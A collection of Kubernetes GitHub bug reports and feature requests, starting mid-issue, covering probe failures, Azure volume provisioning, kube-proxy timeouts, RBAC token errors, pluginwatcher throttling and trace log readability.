cluster_size_autoscaling.go   tests with any provider other than   gce, gke  .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes v1.11.1\r - cloud provider or hardware configuration: local\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

is this a bug report or feature request?  :\r   \r   what happened  :\r i have a livelinessprobe configured for my pod which does a http-get on path on the same pod and a particular port. it works perfectly. but, if i use the same settings and configure a readinessprobe it fails with the below error.\r \r readiness probe failed: wsarecv: read tcp :50578->:80: an existing connection was forcibly closed by the remote host\r \r actually after certain point i even see the liveliness probes failing. not sure why . liveliness probe succeeding should indicate that the kube-dns is working fine and we're able to reach the pod from the node. here's the readinessprobe for my pod's spec\r \r readinessprobe:\r httpget:\r path: / -> this works for livelinessprobe\r port: 80\r initialdelayseconds: 30\r periodseconds: 10\r timeoutseconds: 10\r \r   what you expected to happen  :\r readinessprobeto succeed\r \r   how to reproduce it  as minimally and precisely as possible   :\r set liveliness and readinessprobe with the same settings in the pod spec\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2\r - cloud provider or hardware configuration: azure vms\r - os  e.g. from /etc/os-release : windows\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @kubernetes/sig-azure-bugs

@kubernetes/sig-storage-feature-requests  \r \r   what happened:  \r \r from the reference of pr _https://github.com/kubernetes/kubernetes/pull/70299_\r while adding new e2e test cases for secret and configmap\r \r creating pod without volume configurations  secret or configmap , by setting optional value as false, the pod creation returns timeout exception after 5 minutes, because of failing to mount volume for pod. \r \r if it's slow, you're basically waiting for the kubelet to bounce vs. failing on admission to sanity check the deps in the manifest.  \r \r _originally posted by @timothysc in https://github.com/kubernetes/kubernetes/pull/70299_

<!-- please only use this template for submitting enhancement requests -->\r \r    problems\r \r      races on pod binding cache\r \r scheduler may schedule a pod while it is in the bind phase in the meantime. but volume binder assumes this situation wouldn't happen. it saves pod binding results internally in find/assume phases, and uses them in bind phase. when scheduler retries scheduling a pod while another instance of it is in the bind phase, there are races on pod binding cache.\r \r xref: https://github.com/kubernetes/kubernetes/pull/71212 issuecomment-440242607\r \r    proposals\r \r      refactor volume binder to work correctly in current scheduler\r \r todo\r \r      avoid scheduling pod while it is in the bind phase in scheduler\r \r todo\r \r /assign\r cc @msau42\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r azure cloud provider has a limited support for service tags by annotations:\r \r https://github.com/kubernetes/kubernetes/blob/32b37f5a85e8f2987f8367e611147cd4d4dfa4f9/staging/src/k8s.io/legacy-cloud-providers/azure/azure_loadbalancer.go l96-l97\r \r but according to https://docs.microsoft.com/en-us/azure/virtual-network/security-overview service-tags, there are actually much more service tags than this list. hence, errors would happen if the service tag is not included in the above list.\r \r   what you expected to happen  :\r \r azure cloud provider should support all service tags from azure.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r   /

kubernetes version  :  kubectl  version is 1.5.2. clusters differentiate between 1.4.7 and 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : google cloud platform\r -   os  : macos sierra 10.12.2\r -   kernel  :  darwin kernel version 16.3.0: thu nov 17 20:23:58 pst 2016; root:xnu-3789.31.2~1/release_x86_64 x86_64 \r -   install tools  : i just installed  kubectl  using  gcloud components install kubectl \r -   others  :\r \r   what happened  : we run a kubernetes cluster on multiple gcp projects and use \r    \r gcloud container clusters get-credentials $cluster --project=$project --zone=europe-west1-b\r     \r to switch between them. after upgrading to a new macbook pro  2016 model, 13\  with touch bar  i   and some of my coworkers with the same macbook pro model  keep getting the following error on any  kubectl  command after switching context:\r    \r unable to connect to the server: post https://accounts.google.com/o/oauth2/token: x509: certificate signed by unknown authority\r    \r \r this does not happen every time, but enough to be annoying. usually this problem resolves itself after a system restart.\r \r   what you expected to happen  : on my old hardware i could switch context all the time, never encountering this error. \r \r   how to reproduce it  : difficult. it may work hours on end at times. right now, i can't get any project to work. i also tried reinstalling  kubectl  to no avail, so i guess it's as easy as:\r - install  gcloud \r - run  gcloud init \r - install  kubectl \r - switch context\r - run any  kubectl  command  such as  kubectl get pods  . sometimes it works, sometimes it spits out the error above.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r healthcheck nodeport allocation doesn't have roll-back, this may lead to nodeport leak.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r  /assign\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r not sure, but feels like a bug\r  \r \r \r   what happened  :\r can't create _persistentvolumeclaim_ as part of statefulset definition.\r \r   what you expected to happen  :\r a persistent volume should have been created as defined\r \r   how to reproduce it  as minimally and precisely as possible   :\r     \r     apiversion: apps/v1beta1\r     kind: statefulset\r     metadata:\r       name: nginx-test\r       namespace: itops-testing\r       labels:\r         state: serving\r     spec:\r       replicas: 1\r       servicename: nginx\r       template:\r         metadata:\r           labels:\r             app: nginx-test\r             environment: dev\r         spec:\r           volumes:\r           - name: ps-test\r             persistentvolumeclaim:\r               claimname: ps-test\r           imagepullsecrets:\r           - name: registry\r           containers:\r           - name: nginx\r             image: nginx\r             volumemounts:\r               - name: ps-test\r                 mountpath: /tmp\r \r       volumeclaimtemplates:\r       - metadata:\r           name: ps-test\r         spec:\r           accessmodes:   \ readwriteonce\   \r           resources:\r             requests:\r               storage: 10gi\r           storageclassname: default\r \r   anything else we need to know?  :\r \r     $ kubectl describe pvc\r     name:\t\tps-test-nginx-test-0\r     namespace:\titops-testing\r     storageclass:\tdefault\r     status:\t\tpending\r     volume:\r     labels:\t\tapp=nginx-test\r         environment=dev\r     annotations:\tvolume.beta.kubernetes.io/storage-provisioner=kubernetes.io/azure-disk\r     capacity:\r     access modes:\r     events:\r       firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r       ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r       1m\t\t8s\t\t8\tpersistentvolume-controller\t\t\twarning\t\tprovisioningfailed\tfailed to provision volume with storageclass \ default\ : put https://p3601836075.blob.core.windows.net/1839508033?restype=container: dial tcp: lookup p3601836075.blob.core.windows.net on 168.63.129.16:53: no such host\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r       client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-15t08:51:09z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r       server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : this happens on azure, but not public cloud, but   azuregermancloud   with _pay-as-you-go_ subscription type.\r - os  e.g. from /etc/os-release :  version=\ 16.04.1 lts  xenial xerus \  \r - kernel  e.g.  uname -a  :  linux k8s-master-41067869-0 4.4.0-96-generic  119-ubuntu smp tue sep 12 14:59:54 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:  acs-engine  using this template:\r \r \t\t{\r \t\t  \ apiversion\ : \ vlabs\ ,\r \t\t  \ location\ : \ germanycentral\ ,\r \t\t  \ properties\ : {\r \t\t\t\ orchestratorprofile\ : {\r \t\t\t  \ orchestratortype\ : \ kubernetes\ ,\r \t\t\t  \ orchestratorrelease\ : \ 1.7\ \r \t\t\t},\r \t\t\t\ masterprofile\ : {\r \t\t\t  \ count\ : 1,\r \t\t\t  \ dnsprefix\ : \ ${dns_prefix}\ ,\r \t\t\t  \ vmsize\ : \ ${vm_size_master}\ ,\r \t\t\t  \ vnetsubnetid\ : \ ${subnet_id}\ ,\r \t\t\t  \ firstconsecutivestaticip\ : \ ${first_master_ip}\ \r \t\t\t},\r \t\t\t\ agentpoolprofiles\ :  \r \t\t\t  {\r \t\t\t\t\ name\ : \ agentpool1\ ,\r \t\t\t\t\ count\ : ${worker_vm_count},\r \t\t\t\t\ vmsize\ : \ ${vm_size}\ ,\r \t\t\t\t\ vnetsubnetid\ : \ ${subnet_id}\ ,\r \t\t\t\t\ availabilityprofile\ : \ availabilityset\ \r \t\t\t  }\r \t\t\t ,\r \t\t\t\ linuxprofile\ : {\r \t\t\t  \ adminusername\ : \ ${admin_user}\ ,\r \t\t\t  \ ssh\ : {\r \t\t\t\t\ publickeys\ :  \r \t\t\t\t  {\r \t\t\t\t\t\ keydata\ : \ ${ssh_pkey}\ \r \t\t\t\t  }\r \t\t\t\t \r \t\t\t  }\r \t\t\t},\r \t\t\t\ serviceprincipalprofile\ : {\r \t\t\t  \ clientid\ : \ ${service_principle_client_id}\ ,\r \t\t\t  \ secret\ : \ ${service_principle_client_secret}\ \r \t\t\t}\r \t\t  }\r \t\t}\r \r   alternative approach tried out  \r if changing  storageclassname  to  managed-standard  creation of _pvc_ succeeds, but mounting to pod during container creation fails with:\r \r     events:\r     firstseen\tlastseen\tcount\tfrom\t\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r     ---------\t--------\t-----\t----\t\t\t\t\t-------------\t--------\t------\t\t\t-------\r     2s\t\t2s\t\t1\tdefault-scheduler\t\t\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned nginx-test-0 to k8s-agentpool1-41067869-0\r     2s\t\t2s\t\t1\tkubelet, k8s-agentpool1-41067869-0\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ default-token-j5flf\ \r     2s\t\t0s\t\t3\tattachdetach\t\t\t\t\t\twarning\t\tfailedmount\t\tattachvolume.attach failed for volume \ pvc-a36112e4-a38d-11e7-a7d3-0017fa101081\  : attach volume \ demo-dynamic-pvc-a36112e4-a38d-11e7-a7d3-0017fa101081\  to instance \ k8s-agentpool1-41067869-0\  failed with compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ operationnotallowed\  message=\ addition of a managed disk to a vm with blob based disks is not supported.\ \r \r \r what did i miss?

 \r   what happened  :\r we have several clusters on various k8s versions running on gke. intermittently, i see a  dial tcp: i/o timeout  or  dial tcp {ip}: i/o timeout  error from a certain pod to another pod.\r \r   what you expected to happen  :\r no network interruption.\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure, but any ideas are welcome.\r \r   anything else we need to know?  :\r on a cluster running master version 1.6.10-gke.1 and node version 1.5.6  i'll address the same issue on a more recent version of kubernetes below , i've been able to correlate the events to kube-proxy logging the following:\r    \r \r i1024 07:04:10.557383       9 proxier.go:629  removing endpoints for \ default/default-http-backend:http\ \r i1024 07:04:10.587357       9 proxier.go:629  removing endpoints for \ default/service:http\ \r i1024 07:04:10.587406       9 proxier.go:629  removing endpoints for \ default/prometheus:\ \r i1024 07:04:10.587419       9 proxier.go:629  removing endpoints for \ kube-system/default-http-backend:http\ \r i1024 07:04:10.587430       9 proxier.go:629  removing endpoints for \ kube-system/heapster:\ \r i1024 07:04:10.587440       9 proxier.go:629  removing endpoints for \ default/redis:redis\ \r    \r \r see https://github.com/kubernetes/kubernetes/blob/v1.5.6/pkg/proxy/iptables/proxier.go l629\r \r when these endpoints are removed, the pod times out trying to hit \ default/redis:redis\    dial tcp 10.43.244.1:6379: i/o timeout  where 10.43.244.1 is the service ip of the service that points to a single redis pod . this makes sense, but i don't understand why the endpoints would be removed. the pods for those endpoints are almost all on the same node  except for \ default/service:http\  and \ default/prometheus:\   but i'm not certain if that correlation involves causation. the node in question isn't under particular load and the pods aren't being restarted.\r \r on the more up-to-date cluster, i can't seem to get at kube-proxy logs to make a correlation  stackdriver shows nothing for kube-proxy - if anyone has any ideas about this, lmk . it's running master 1.7.6-gke.1 and node version 1.7.6. i'm seeing the same issue  dial tcp: i/o timeout   no ip listed in the go error this time . again, no pod restarts occurred, and i'm not seeing anything that could indicate network changes.\r \r any thoughts regarding what else to investigate would be appreciated.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.10-gke.1\ , gitcommit:\ 5399ab6217c2f2f4bb4de52a2a23ccc4cd034df2\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t18:06:48z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r gke\r - os  e.g. from /etc/os-release :\r    \r build_id=9000.84.2\r name=\ container-optimized os\ \r google_crash_id=lakitu\r version_id=56\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=56\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r    \r build_id=9592.90.0\r name=\ container-optimized os\ \r kernel_commit_id=c0dda75c2c06905ff4a2e8b41de27d4f2d773856\r google_crash_id=lakitu\r version_id=60\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=60\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  :\r    \r linux {redacted} 4.4.21+  1 smp fri feb 17 15:34:45 pst 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r    \r    \r linux {redacted} 4.4.64+  1 smp wed aug 30 20:27:36 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r    \r - install tools:\r n/a\r - others:\r

i'm using only rbac authorization and i created manually api token from existing service-account  following this guide: https://kubernetes.io/docs/admin/service-accounts-admin/ to-create-additional-api-tokens \r \r the new secret has been created but it was empty without any data. i looked at the kube-manager-controller logs and i found this error:\r \r  e1114 22:42:53.439415       6 tokens_controller.go:326  error populating serviceaccount token test/web-token for service account web-serviceaccount: user \ system:kube-controller-manager\  cannot get secrets in the namespace \ test\ .  get secrets web-token  \r \r i found that the user above is bind to the \ system:kube-controller-manager\  cluster-role, after i added the missing permissions \ get\    and   \ update\  for secrets, i created a new secret again and this time it was populated.\r \r the kube-controller \ use-service-account-credentials\  flag is   enabled  \r \r we use k8s 1.6.2 on ubuntu 16.04\r \r kind bug\r @kubernetes/sig-auth-bugs\r 

is this a bug report or feature request?  : feature request\r \r  \r rather than having to do\r \r    \r mkdir -p \ ${kubelet_cert_dir}\ \r ...\r kubelet --cert-dir=${kubelet_cert_dir}\r    \r you should be able to pass a non-existent directory for  --cert-dir  to the kubelet and have the code work via the kubelet creating the directory if it doesn't exist. \r \r the  kube-up.sh  code on gcp still contains such a  mkdir  command, but if the kubelet already does this correctly, then we can resolve this issue by removing the  mkdir  command. \r \r @mtaufen \r @kubernetes/sig-node-feature-requests

is this a bug report or feature request?  :\r  \r   what happened  :\r ran a pod which crashed with exit code 255 unexpectedly.\r \r   what you expected to happen  :\r pod to run to completion or exit with an error.\r \r   anything else we need to know?  :\r \r the pod had a container running tensor2tensor on tensorflow v.1.6 on cuda 9.\r \r here is a redacted pod status:\r \r    \r {'api_version': 'v1',\r  'kind': 'pod',\r  'metadata': {'annotations': none,\r               'cluster_name': none,\r               'creation_timestamp': datetime.datetime 2018, 3, 12, 1, 58, 16, tzinfo=tzlocal   ,\r               'deletion_grace_period_seconds': none,\r               'deletion_timestamp': none,\r               'finalizers': none,\r               'generate_name': none,\r               'generation': none,\r               'initializers': none,\r               'labels': {'pod-name': 'xxxxx'},\r               'name': 'xxxxx',\r               'namespace': 'xxxxx',\r               'owner_references': none,\r               'resource_version': '4870925',\r               'self_link': '/api/v1/namespaces/xxxxx/pods/xxxxx',\r               'uid': 'd479a2af-2598-11e8-84e6-42010a8a0030'},\r  'spec': {'active_deadline_seconds': none,\r           'affinity': none,\r           'automount_service_account_token': none,\r           'containers':  {'args':  xxxxx ,\r                           'command': none,\r                           'env_from': none,\r                           'image': 'xxxxx',\r                           'image_pull_policy': 'always',\r                           'lifecycle': none,\r                           'liveness_probe': none,\r                           'name': 'xxxxx',\r                           'ports': none,\r                           'readiness_probe': none,\r                           'resources': {'limits': {'memory': '40gi',\r                                                    'nvidia.com/gpu': '1'},\r                                         'requests': {'memory': '40gi',\r                                                      'nvidia.com/gpu': '1'}},\r                           'security_context': none,\r                           'stdin': none,\r                           'stdin_once': none,\r                           'termination_message_path': '/dev/termination-log',\r                           'termination_message_policy': 'file',\r                           'tty': true,\r                           'volume_mounts':  xxxxx ,\r                           'working_dir': '/usr/src/app/'} ,\r           'dns_policy': 'clusterfirst',\r           'host_aliases': none,\r           'host_ipc': none,\r           'host_network': none,\r           'host_pid': none,\r           'hostname': none,\r           'image_pull_secrets':  {'name': 'xxxxx'} ,\r           'init_containers': none,\r           'node_name': 'xxxxx',\r           'node_selector': none,\r           'priority': none,\r           'priority_class_name': none,\r           'restart_policy': 'never',\r           'scheduler_name': 'default-scheduler',\r           'security_context': {'fs_group': none,\r                                'run_as_non_root': none,\r                                'run_as_user': none,\r                                'se_linux_options': none,\r                                'supplemental_groups': none},\r           'service_account': 'default',\r           'service_account_name': 'default',\r           'subdomain': none,\r           'termination_grace_period_seconds': 30,\r           'tolerations':  {'effect': 'noexecute',\r                            'key': 'node.kubernetes.io/not-ready',\r                            'operator': 'exists',\r                            'toleration_seconds': 300,\r                            'value': none},\r                           {'effect': 'noexecute',\r                            'key': 'node.kubernetes.io/unreachable',\r                            'operator': 'exists',\r                            'toleration_seconds': 300,\r                            'value': none},\r                           {'effect': 'noschedule',\r                            'key': 'nvidia.com/gpu',\r                            'operator': 'exists',\r                            'toleration_seconds': none,\r                            'value': none} ,\r           'volumes':  {'aws_elastic_block_store': none,\r                        'azure_disk': none,\r                        'azure_file': none,\r                        'cephfs': none,\r                        'cinder': none,\r                        'config_map': none,\r                        'downward_api': none,\r                        'empty_dir': none,\r                        'fc': none,\r                        'flex_volume': none,\r                        'flocker': none,\r                        'gce_persistent_disk': none,\r                        'git_repo': {xxxxx},\r                        'glusterfs': none,\r                        'host_path': none,\r                        'iscsi': none,\r                        'name': 'xxxxxx',\r                        'nfs': none,\r                        'persistent_volume_claim': none,\r                        'photon_persistent_disk': none,\r                        'portworx_volume': none,\r                        'projected': none,\r                        'quobyte': none,\r                        'rbd': none,\r                        'scale_io': none,\r                        'secret': none,\r                        'storageos': none,\r                        'vsphere_volume': none},\r                       {'aws_elastic_block_store': none,\r                        'azure_disk': none,\r                        'azure_file': none,\r                        'cephfs': none,\r                        'cinder': none,\r                        'config_map': none,\r                        'downward_api': none,\r                        'empty_dir': none,\r                        'fc': none,\r                        'flex_volume': none,\r                        'flocker': none,\r                        'gce_persistent_disk': none,\r                        'git_repo': {xxxxx},\r                        'glusterfs': none,\r                        'host_path': none,\r                        'iscsi': none,\r                        'name': 'xxxxx',\r                        'nfs': none,\r                        'persistent_volume_claim': none,\r                        'photon_persistent_disk': none,\r                        'portworx_volume': none,\r                        'projected': none,\r                        'quobyte': none,\r                        'rbd': none,\r                        'scale_io': none,\r                        'secret': none,\r                        'storageos': none,\r                        'vsphere_volume': none},\r                       {'aws_elastic_block_store': none,\r                        'azure_disk': none,\r                        'azure_file': none,\r                        'cephfs': none,\r                        'cinder': none,\r                        'config_map': none,\r                        'downward_api': none,\r                        'empty_dir': none,\r                        'fc': none,\r                        'flex_volume': none,\r                        'flocker': none,\r                        'gce_persistent_disk': none,\r                        'git_repo': {xxxxx},\r                        'glusterfs': none,\r                        'host_path': none,\r                        'iscsi': none,\r                        'name': 'xxxxx',\r                        'nfs': none,\r                        'persistent_volume_claim': none,\r                        'photon_persistent_disk': none,\r                        'portworx_volume': none,\r                        'projected': none,\r                        'quobyte': none,\r                        'rbd': none,\r                        'scale_io': none,\r                        'secret': none,\r                        'storageos': none,\r                        'vsphere_volume': none},\r                       {'aws_elastic_block_store': none,\r                        'azure_disk': none,\r                        'azure_file': none,\r                        'cephfs': none,\r                        'cinder': none,\r                        'config_map': none,\r                        'downward_api': none,\r                        'empty_dir': none,\r                        'fc': none,\r                        'flex_volume': none,\r                        'flocker': none,\r                        'gce_persistent_disk': none,\r                        'git_repo': none,\r                        'glusterfs': none,\r                        'host_path': none,\r                        'iscsi': none,\r                        'name': 'default-token-xzrv2',\r                        'nfs': none,\r                        'persistent_volume_claim': none,\r                        'photon_persistent_disk': none,\r                        'portworx_volume': none,\r                        'projected': none,\r                        'quobyte': none,\r                        'rbd': none,\r                        'scale_io': none,\r                        'secret': {'default_mode': 420,\r                                   'items': none,\r                                   'optional': none,\r                                   'secret_name': 'default-token-xzrv2'},\r                        'storageos': none,\r                        'vsphere_volume': none} },\r  'status': {'conditions':  {'last_probe_time': none,\r                             'last_transition_time': datetime.datetime 2018, 3, 12, 1, 58, 16, tzinfo=tzlocal   ,\r                             'message': none,\r                             'reason': none,\r                             'status': 'true',\r                             'type': 'initialized'},\r                            {'last_probe_time': none,\r                             'last_transition_time': datetime.datetime 2018, 3, 12, 1, 59, 33, tzinfo=tzlocal   ,\r                             'message': 'containers with unready status: '\r                                        ' xxxxx ',\r                             'reason': 'containersnotready',\r                             'status': 'false',\r                             'type': 'ready'},\r                            {'last_probe_time': none,\r                             'last_transition_time': datetime.datetime 2018, 3, 12, 1, 58, 16, tzinfo=tzlocal   ,\r                             'message': none,\r                             'reason': none,\r                             'status': 'true',\r                             'type': 'podscheduled'} ,\r             'container_statuses':  {'container_id': 'docker://xxxxx',\r                                     'image': 'xxxxx',\r                                     'image_id': 'xxxxx',\r                                     'last_state': {'running': none,\r                                                    'terminated': none,\r                                                    'waiting': none},\r                                     'name': 'xxxxx',\r                                     'ready': false,\r                                     'restart_count': 0,\r                                     'state': {'running': none,\r                                               'terminated': {'container_id': 'docker://xxxxx',\r                                                              'exit_code': 255,\r                                                              'finished_at': datetime.datetime 2018, 3, 12, 8, 49, 51, tzinfo=tzlocal   ,\r                                                              'message': none,\r                                                              'reason': 'error',\r                                                              'signal': none,\r                                                              'started_at': datetime.datetime 2018, 3, 12, 1, 59, 33, tzinfo=tzlocal   },\r                                               'waiting': none}} ,\r             'host_ip': '10.138.0.11',\r             'init_container_statuses': none,\r             'message': none,\r             'phase': 'failed',\r             'pod_ip': none,\r             'qos_class': 'burstable',\r             'reason': none,\r             'start_time': datetime.datetime 2018, 3, 12, 1, 58, 16, tzinfo=tzlocal   }}\r    \r \r   environment  : gke\r - kubernetes version  use  kubectl version  : v. 1.9.2-gke.1\r - cloud provider or hardware configuration: google cloud platforn\r \r not really sure how to debug this because there isn't much information. appreciate any help, and perhaps others might be seeing this too. thanks in advance!

\r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r i  run a snmp trap sender in kubernetes pods, and i have capture the snmp trap package from the pods in the trap receiver, but the source ip of the packages is the host ip which the pod running in, \r \r but i want the source ip is  the service cluster-ip ,not the host ip.  how can i  make it？thank you very much.\r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r currently, pluginwatcher don't limit the registering attempt from device plugin,\r this leave the door open to potential ddos-like attack from plugin  or buggy plugin .\r \r there are two types of bad behaviors:\r 1   one plugin keep triggering invalid fsnotify event, pluginwatcher handleevent   will be called, a goroutine will be created for each event, although it will fail before calling register  , it can make pluginwatcher creating hundreds or more goroutine in a short time, potentially affecting the whole node.\r \r 2  one plugin keep triggering valid fsnotify event for registering, then actual register   func will be called, device manager will be busy keep updating meta data about device.\r \r   what you expected to happen  :\r we can avoid it by throttle attempt based on each plugin, and also throttle the overall attempt.\r \r   how to reproduce it  as minimally and precisely as possible   :\r ideally we can add a test to trigger the listed behaviors\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @jiayingz @vikaschoudhary16 @renaudwastaken \r 

is this a bug report or feature request?  :\r  \r it seems like  services controller  https://github.com/kubernetes/kubernetes/tree/master/pkg/controller/service  was built with the intent that it would be a generic controller for all things related to services. today  and for the last 2 years  its only purpose has been to manage services of  type: loadbalancer  using a cloud provider interface. to avoid confusion we should rename services controller to something more specific that better represents what it does. i propose something like loadbalancers controller. \r \r  

which jobs are failing  :\r - ci-kubernetes-e2e-kops-aws\r - pull-kubernetes-e2e-kops-aws\r \r   which test s  are failing  :\r -  sig-storage  in-tree volumes  driver: local  localvolumetype: block   testpattern: pre-provisioned pv  xfs   volumes should allow exec of files on the volume\r -  sig-storage  in-tree volumes  driver: local  localvolumetype: block   testpattern: pre-provisioned pv  xfs   volumes should be mountable\r \r   since when has it been failing  :\r don't know.. as the job was down for a while due to https://github.com/kubernetes/kubernetes/issues/73444\r \r   testgrid link  :\r - https://testgrid.k8s.io/google-aws kops-aws\r - https://testgrid.k8s.io/presubmits-kubernetes-nonblocking pull-kubernetes-e2e-kops-aws\r \r   reason for failure  :\r to be found..\r \r   anything else we need to know  :\r \r this issue is a blocker for turning on the kops-aws presubmit, see - https://github.com/kubernetes/kubernetes/issues/73444 issuecomment-463830125.\r \r /cc @kubernetes/sig-storage-bugs \r  

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r i found an unfriendly problem of current trace package. the phenomenon is stepduration and stepmsg are not consistent. maybe it is by-design or it is a bug.\r \r the path of the trace package is \ /vendor/k8s.io/apiserver/pkg/util/trace\ .\r \r i will take  kube-scheduler  for example to describe the problem. when the scheduler is scheduling a pod, we can find its corresponding trace message in kube-scheduler log as follows.\r    \r trace 63718591 :  963.946µs   963.946µs  computing predicates\r trace 63718591 :  31.535934ms   30.571988ms  prioritizing\r trace 63718591 :  145.960023ms   114.424089ms  selecting host\r trace 63718591 :  145.993901ms   33.878µs  end\r    \r corresponding code in trace.go\r    \r buffer.writestring fmt.sprintf \ trace %d :  %v   %v  %v\ \ , tracenum, step.steptime.sub t.starttime , stepduration, step.msg  \r \r    \r according to the code and common sense, we can explain the trace. take line 2 as example:\r    \r trace 63718591 :  31.535934ms   30.571988ms  prioritizing\r    \r \ 63718591\  is tracenum;\r \r \ 31.535934ms\  is the duration from the begining to completed current step \ prioritizing\ ;\r \r \ 30.571988ms\  is the duration of current step \ prioritizing\ ;\r \r \ prioritizing\  is current step's name.\r \r that is,  one step \ prioritizing\  costs 30.571988ms, and the step \ prioritizing\  including all front steps cost 31.535934ms, all front steps cost  31.535934-30.571988  ms.\r \r in fact, the above explanation is wrong. the duration doesn't belongs to the current step, but the last step.\r \r the right explanation:\r \r \ 30.571988ms\  is the duration of step \ computing predicates\ ;\r \r \ 31.535934ms\  is the duration from the begining to completed step \ computing predicates\ .\r \r we can see the trace log is not readable. a readable trace should be like:\r    \r trace 63718591 :  963.946µs   963.946µs  initializating\r trace 63718591 :  31.535934ms   30.571988ms  computing predicates\r trace 63718591 :  145.960023ms   114.424089ms  prioritizing\r trace 63718591 :  145.993901ms   33.878µs  selecting host\r    \r i don't know it is by-design or it is a bug.  if it is by-design, who can tell me the purpose？if it is not by-design, i can propose a pr to make it more readable.\r \r   why is this needed  :\r \r log should be readable, but the stepduration and stepmsg are not consistent in trace log, which cause the difficulty of reading it and using it in monitoring system. \r

